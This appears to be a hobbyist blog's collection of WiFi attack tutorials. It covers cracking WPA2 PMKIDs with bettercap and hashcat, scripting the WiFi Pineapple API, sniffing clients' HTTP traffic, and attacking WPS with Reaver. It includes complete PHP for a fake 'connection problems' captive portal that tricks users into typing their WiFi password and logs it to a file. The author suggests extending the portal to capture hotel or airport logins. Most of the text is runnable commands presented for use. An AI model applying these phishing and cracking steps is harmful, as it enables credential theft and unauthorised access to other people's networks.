Crack WPA2 with PMKID on macOS

With very little effort and a few tools, you can crack WPA2 WiFi passwords on your macOS. This tutorial will show you how to do it. Bettercap, hcxpcaptool (via Docker) and hashcat are used for this. Please note that these instructions are only used for learning purposes!

Precondition

Docker installed (latest)
optional Wireshark installed (latest)

Bettercap

To install Bettercap on macOS you need first to install libusb. Therefor download latest version of libusb and follow next steps (after unzip).

# change directory
$ cd ~/Downloads/libusb-1.0.23

# execute configure script
$ ./configure

# build the binary
$ make

# install binary
$ make install

# change directory & delete
$ cd ~ && rm -fr ~/Downloads/libusb-1.0.23

Now download Bettercap precompiled binary, extract the ZIP and follow the next steps.

# move binary
$ sudo mv ~/Downloads/bettercap_darwin_amd64_v2.27.1/bettercap /usr/local/bin

# change permissions
$ sudo chmod +x /usr/local/bin/bettercap

# running bettercap updates
$ sudo bettercap -eval "caplets.update; ui.update; q"

# start bettercap with UI caplet
$ sudo bettercap -caplet http-ui

Note: In this guide we don’t change the default credentials (user,pass). You can do on file “/usr/local/share/bettercap/caplets/http-ui.cap”!

Open the Browser (http://127.0.0.1:80), login and start Wifi discovery (wifi.recon on). Send some association requests to the selected BSSID (wifi.assoc BSSID). In your home folder you should find the file “bettercap-wifi-handshakes.pcap”.

Finish your Bettercap session when you are done.

Wireshark

Optional you can use Wireshark to verify, if you recorded the PMKID on Robust Secure Network (RSN). Start Wireshark, open the file “bettercap-wifi-handshakes.pcap”, add the filter “eapol && wlan.rsn.ie.pmkid” and search the PMKID(s).

hcxpcaptool

Now you need to convert (extract) the PMKID(s) from the Bettercap pcap file. For this you need the “hcxdumptool” from ZeraBea. Because OpenSSL is needed (and I don’t want to install it), I created a small Alpine Docker image (Dockerfile). You can follow next steps for usage.

# pull the image
$ docker pull slorenz/hcxpcaptool

# create directories
$ mkdir -p ~/Projects/PMKID/cap

# change directory
$ cd ~/Projects/PMKID/

# copy pcap into cap directory
$ cp ~/bettercap-wifi-handshakes.pcap ~/Projects/PMKID/cap/

# run container
$ docker run -ti --rm --mount src="$(pwd)/cap",target=/hcxpcaptool,type=bind slorenz/hcxpcaptool bettercap-wifi-handshakes.pcap

# show content (optional)
$ cat cap/pmkid.16800

Note: The columns (of pmkid.16800 content) are divided by * into following:

PMKID
MAC AP
MAC Station
ESSID

If you have not four columns, you need to repeat all previous steps for recording and convert!

hashcat

That was actually the easy part. Now we use Hashcat to crack the WPA2 passwords. The “only” challenge is the password length and the characters used. The next steps will guide you:

# create directory
$ mkdir -p ~/Projects

# change directory
$ cd ~/Projects

# clone git repository of hashcat
$ git clone https://github.com/hashcat/hashcat.git

# build binary
$ make -C hashcat/

# install binary
$ sudo make install -C hashcat/

# delete cloned repository (optional)
$ rm -fr ~/Projects/hashcat

# show hashcat help (optional)
$ hashcat -h

# run benchmark (optional)
$ hashcat -b

# execute hashcat
$ hashcat -m 16800 pmkid.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

That’s it … have fun and success!

Introduction into Wifi Pineapple API

After short time you might come to the idea to control your Wifi Pineapple via terminal only. Luckily the developers provided an API. There is already a Python wrapper available. But why not easily using curl and jq?

Objective

Learn how to setup and use (via curl) the Wifi Pineapple API.

Precondition

jq installed (latest)

Preparation

If not done already, you need to create a API token. To do so, open “Advanced” section – insert a token name and press button “Generate”.

The curl commands can be very long and unhandy. To make it a little easier to use, you should save and use the very long token (and header) as a variables ($TOKEN and $HEADER).

# create token variable
$ TOKEN="458aef505b17d0e954f95419c8da0df1047529708787bb04b15362bc3ecaa6e19e22d8bf2378293275c0e9ce6af62ef0e00691ec24aaa7309e6b9923067177af"

$ HEADER='-H "Content-type: application/json"'

# create a first simple nothification
$ curl -s -X POST  $HEADER -d '{"system": "notifications", "action": "addNotification", "message": "my first notification", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/

As the Wifi Pineapple use an well known prefix we cannot use jq directly! So we need to remove the prefix from our output. Now create a new variable and pipe the output through sed. In my case the following characters are used as response prefix “)]}’,“.

# create prefix variable
$ PREF=")]}',"

# create a second simple nothification (incl. sed and jq)
$ curl -s -X POST  $HEADER -d '{"system": "notifications", "action": "addNotification", "message": "my second notification", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

If everything was working well, the terminal output will be pretty-printed (via jq) and you should be able to see both notifications (Browser UI).

API examples

The online API documentation is very good described. However, to give you a better start, a few examples are shown below.

# get current version of Wifi Pineapple
$ curl -s -X POST $HEADER -d '{"module": "Advanced", "action": "getCurrentVersion", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

# get current time zone of Pineapple
$ curl -s -X POST $HEADER -d '{"module": "Configuration", "action": "getCurrentTimeZone", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

# check available module storages
$ curl -s -X POST $HEADER -d '{"module": "ModuleManager", "action": "checkDestination", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

# get installed modules
$ curl -s -X POST $HEADER -d '{"module": "ModuleManager", "action": "getInstalledModules", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

I think you’ve got it. In similar way you can use the API for “Recon”, “Logging”, “Networking” and so on.

Understand and measure signal strength with Wifi Pineapple

It’s a long title for a tutorial this time. Don’t worry I will try my best to make it short and understandable. Many people wonder why there penetration of Wifi networks not really works and forget about an very important point: “Wifi Signal Strength”. But what is it? How can I measure it? Do I need to buy expensive software? Here a try to enlighten you. For this explanation I will use the Wifi Pineapple device with some command line tools and a nice UI module.

Objectiv

Understand the basics of Wifi Signal Strength and learn how to measure it.

Precondition

Wifi Pineapple device incl. SSH connection into it plus internet connection (to download the module).

The basics

The WiFi signal strength is given as the logarithmic (not linear) unit of measurement of the power dBm. Decibels are relative to milliwatts and are expressed as a negative number from 0 to -100. For example, a signal value of -50 is much stronger than a signal value of -70. A difference of 3 dBm is therefore halving or doubling the strength of the previous value. The following table should give some information about the values.

Signal strength	Quality	Description
-30 dBm	Excellent	One of the best values that can be achieved.
-50 dBm	Good	An very good signal level which allows all applications in the network.
-70 dBm	Acceptable	Not a good value, there are already severe application problems.
-90 dBm	Very bad	Very bad value, there is usually no connection here.

The measurement

Now let’s get to the measurement quickly. Start the Wifi Pineapple and connect.

# SSH into Wifi Pineapple device
$ ssh root@192.168.2.10

Let’s take a look at the values of the wifi devices themselves (these will be different).

# show statistics on each wireless interface in the system
$ cat /proc/net/wireless

# show interface configuration with ifconfig
$ ifconfig wlan0
$ ifconfig wlan1

# show interface configuration with iwconfig
$ iwconfig wlan0
$ iwconfig wlan1

Now we scan the Wifi’s and have the values displayed (repeat this multiple times to get the average).

# use iwlist to scan (old way)
$ iwlist wlan0 scanning | egrep -i 'SSID|Quality'

# use iw to scan (modern way)
$ iw wlan0 scan | egrep -i 'SSID|signal'

Make it more visible

Under the Wifi Pineapple modules you can search for “SignalStrength” and install it. After successful installation, select the module then select one of your available wifi interfaces and press button “Scan”.

Wifi Pineapple module SignalStrength scan

After short time you will have outputs as table and graph.

That’s it already. With these basics, you should be able to understand and perform your wifi penetration tests even better.

Wifi Pineapple Module DWall

This is the first tutorial about Wifi Pineapple modules. I will start with a simple one called DWall. With this module you can gather and display easily live informations from connected clients wich using the HTTP protocol.

Objective

Installation and usage of module DWall on the Wifi Pineapple.

Precondition

Your Wifi Pineapple need to have an internet connection.

Installation

This time we will use the browser UI for the installation. Let’s start… Look for DWall among the available modules, click the “Install” button and select the location (you should always select the SD card, if available).

Via Terminal you can verify the installation, too.

# list installed modules on sdcard folder
$ ssh root@192.168.2.10 -C 'ls -la /sd/modules/'

Usage

After successful installation (which should be quite fast), select the module. Now activate it and start the listener. As soon as a connected client makes requests with HTTP, you will see them in the module output. Depending on the responce, also other data such as pictures.

Now the last one should also understand why encryption (HTTPS) is so important! Even if it is already used a lot, you will figure that many websites still work without encryption.

Create landing pages for Wifi Pineapple

With the Wifi Pineapple from Hak5 you can create “Landing Pages” in few minutes. With some luck people insert their they credentials and you can use them. In this tutorial I will explain how easy this can be done without any extra modules installed (like Evil Portal and so on).

Objectives

Only with standard features we setup a captive portal (for the http protocol) in which we can try to collect credentials.

Precondition

To use the “Landing Page” feature of your Wifi Pineapple, you need a working internet connection on the device. In this tutorial you can learn how to do this for macOS.

Prepare and test locally

Before you write the code directly on the device, I recommend to code and and test it locally. This section will explain how.

# create project
$ mkdir -p ~/Projects/LandingPage

# change directory
$ cd ~/Projects/LandingPage

# create PHP file
$ vim index.php

# test with PHP built-in Web Server
$ php -S localhost:8000

<?php
// Landing page configuration
$SSID = 'ExampleSSID';

// Landing page content
if (isset($_POST['wifi_password']) && !empty(trim($_POST['wifi_password']))) {
  $data = $SSID . ':' . htmlspecialchars(trim($_POST['wifi_password'])) . "\n";
  file_put_contents('/tmp/wifi-passwords.txt', $data, FILE_APPEND | LOCK_EX);
  header("Location: https://google.com");
} else {
  echo '<!DOCTYPE HTML><html lang="en-US"><head>';
  echo '<title>' . $SSID . ' Connection Failure</title>';
  echo '<meta charset="utf-8">';
  echo '<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">';
  echo '<meta name="generator" content="' . $SSID . '">';
  echo '<style>';
  echo 'html, body {';
  echo '  font-family: Helvetica, sans-serif;';
  echo '  background: #f3f2f2;';
  echo '}';
  echo 'h1 {';
  echo ' padding-bottom: 20px;';
  echo ' border-bottom: 1px solid #eee;';
  echo ' font-size: 25px;';
  echo ' color: #4288CC;';
  echo '}';
  echo 'p {';
  echo ' margin-bottom: 20px;';
  echo ' padding-bottom: 20px;';
  echo ' font-size: 15px;';
  echo ' color: #777;';
  echo ' border-bottom: 1px solid #eee;';
  echo '}';
  echo 'input {';
  echo ' padding: 5px;';
  echo '}';
  echo '.center {';
  echo '  margin: 150px auto auto auto;';
  echo '  padding: 20px;';
  echo '  width: 450px;';
  echo '  text-align: center;';
  echo '  border: 1px solid #ccc;';
  echo '  border-radius: 5px;';
  echo '  background: #fff;';
  echo '  box-shadow: 4px 4px 5px 0px rgba(50, 50, 50, 0.75);';
  echo '}';
  echo '</style></head>';
  echo '<div class="center">';
  echo '<h1>Wifi connection problems</h1>';
  echo '<p>Please enter your password for "' . $SSID . '" <br> and press "Reconnect" to solve this issue.</p>';
  echo '<form method="POST" action="' . htmlspecialchars($_SERVER["PHP_SELF"]) . '">';
  echo '<input type="password" name="wifi_password" size="35" maxlength="65"> ';
  echo '<input type="submit" name="submit" value="Reconnect">';
  echo '</form></div></html>';
}

Open your Browser and use the URL http://localhost:8000. You can go back to your favorite editor and work on it. After you’re done press Ctrl-C to quit the build-in server.

Create Landing Page on Wifi Pineapple

Connect in your Browser to the Wifi Pineapple device, login and copy/paste the php code into “Landing Page” textarea. Save and enable the feature.

Wifi Pineapple Landing Page configuration.

Here a picture from my iPad after joining the wifi network.

If you read the PHP code, you will see that all informations are stored into file wifi-passwords.txt.

# SSH into pineapple
$ ssh root@<wifi pineapple ip>

# read gathered informations
$ cat /tmp/wifi-passwords.txt

# or tail
$ tail -f /tmp/wifi-passwords.txt

Note: You can extend the code to gather the username and password (incl. checkbox for acceptable use policy) where users of public-access network are obliged to view and interact with before access is granted (like hotels, airports, etc.).

Share internet from macOS to Wifi Pineapple

I have been using the Wifi Pineapple Nano by Hak5 for a long time. What can I say – very, very cool tiny device. Since I am also a macOS user, I would like to show in this tutorial how I share my internet (Wifi to USB). There are various options but with this I have currently achieved the best results.

Important: You should carry out all firmware upgrades beforehand, since the settings (which I will show you soon) will be overwritten again.

Objectives

I would like to connect my Macbook to the Internet via WiFi and then make it available to the Wifi Pineapple via USB. So here both devices should be able to use the Internet without network conflicts.

Change Wifi Pineapple network

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple device via SSH
$ ssh root@172.16.42.1

# backup network file
$ cp /etc/config/network /etc/config/network.bak

# show all settings (optional)
$ uci show

# show network settings (optional)
$ uci show network

# change ip with UCI configuration tool
$ uci set network.lan.ipaddr='192.168.2.10'

# change gateway with UCI configuration tool
$ uci set network.lan.gateway='192.168.2.1'

# save changes
$ uci commit

# reboot device
$ reboot

The first steps of the configuration have been carried out. However, you still cannot connect to the device or share the internet!

Modify macOS network configuration

Now you have to configure the macos network dhcp with manual address (network.lan.gateway 192.168.2.1). To do this, open the network settings and select the Wifi Pineapple (AX88x72A). Select “DHCP with manual address” in the dropdown and assign the IP (next to Configure IPv4).

Configure device as DHCP with manual address.

You should also change the arrangement of your available network connections (devices). Click the gear icon and select “Set Service Order”. At the top should be the standard wifi followed by Wifi Pineapple.

After a short time, the settings should have been accepted.

Wifi to USB internet sharing

Now we are making the internet available from Wifi to Wifi Pineapple (USB). Launch Internet Sharing under System Preferences. On “Share your connection from” select the Wifi and on “To computers using” select the Wifi Pineapple.

Done … let’s verify all configurations.

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple via SSH
$ ssh root@192.168.2.10

# run simple ping (optional)
$ ping -c 1 google.com

# exit SSH connection to Pineapple
$ exit

# open browser
$ open http://192.168.2.10:1471

Note: The Browser URL is now http://192.168.2.10:1471 (network.lan.ipaddr 192.168.2.10)!

After login you can go to the Dashboard and check “Bulletins” which should show the latest news from wifipineapple.com.

Wifi Monitor Mode Basics

There are several ways to enable monitor mode for Wifi interfaces. Depending to your OS, installed packages, installed drivers and the Wifi model these methods are available and/or useful. In this tutorial I will explain three different ways.

3 different ways

The first example enables the monitor mode via iwconfig. To start/stop the interface the ip command is used, but you could also use ifconfig command.

# disable interface
$ ip link set wlan0 down

# enable monitor mode
$ iwconfig wlan0 mode monitor

# check interface status (optional)
$ iwconfig wlan0 | grep -i mode | awk '{print $4}'

# enable device
$ ip link set wlan0 up

The second example enables monitor mode via airmon-ng. The explicit start or stop of the interface is not necessary here. Attention, this method will change the name of the interface.

# stop interfering processes
$ airmon-ng check kill

# enable monitor mode
$ airmon-ng start wlan0

# check interface status (optional)
$ iwconfig wlan0mon | grep -i mode | awk '{print $4}'

The third example enables monitor mode via iw. To start/stop the interface the ifconfig command is used, but you could also use ip command.

# disable interface
$ ifconfig wlan0 down

# enable monitor mode
$ iw wlan0 set monitor control

# check interface status (optional)
$ iw dev | grep -i type | awk '{print $2}'

# enable device
$ ifconfig wlan0 up

It may happen that your interface crashes during the scan. In that case, you should choose a different method. If none of the shown examples works properly, it could be due to the Network Manager. In this case, turn it off. Attention, this action is then valid for all interfaces and can disturb your internet connection.

# stop network manager
$ systemctl stop NetworkManager

Reaver, Wash and CentOS 7

In part 3, I show how to install Reaver/Wash on CentOS 7.

Preparation

CentOS 7 installed and started
Aircrack-ng installed
SSH access (optional)

Installation

# download reaver and wash
$ wget https://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz

# unzip
$ tar -zxvf reaver-1.4.tar.gz

# install reaver and wash
$ cd /reaver-1.4/src
$ ./configure
$ make install

# optional read docs
$ cat /reaver-1.4/docs/README.REAVER
$ cat /reaver-1.4/docs/README.WASH

Usage

# kill interfering processes
$ airmon-ng check kill

# set interface into monitor mode (my interface is wlp0s11u1)
$ airmon-ng start wlp0s11u1

# find WPS routers via wash
$ wash -I wlp0s11u1mon

# start reaver running
$ reaver -i wlp0s11u1mon -b <ESSID> -t 2 -vv

– Softwaretester –

knowledge is power

Wifi

Crack WPA2 with PMKID on macOS

Introduction into Wifi Pineapple API

Understand and measure signal strength with Wifi Pineapple

Wifi Pineapple Module DWall

Create landing pages for Wifi Pineapple

Share internet from macOS to Wifi Pineapple

Wifi Monitor Mode Basics

Reaver, Wash and CentOS 7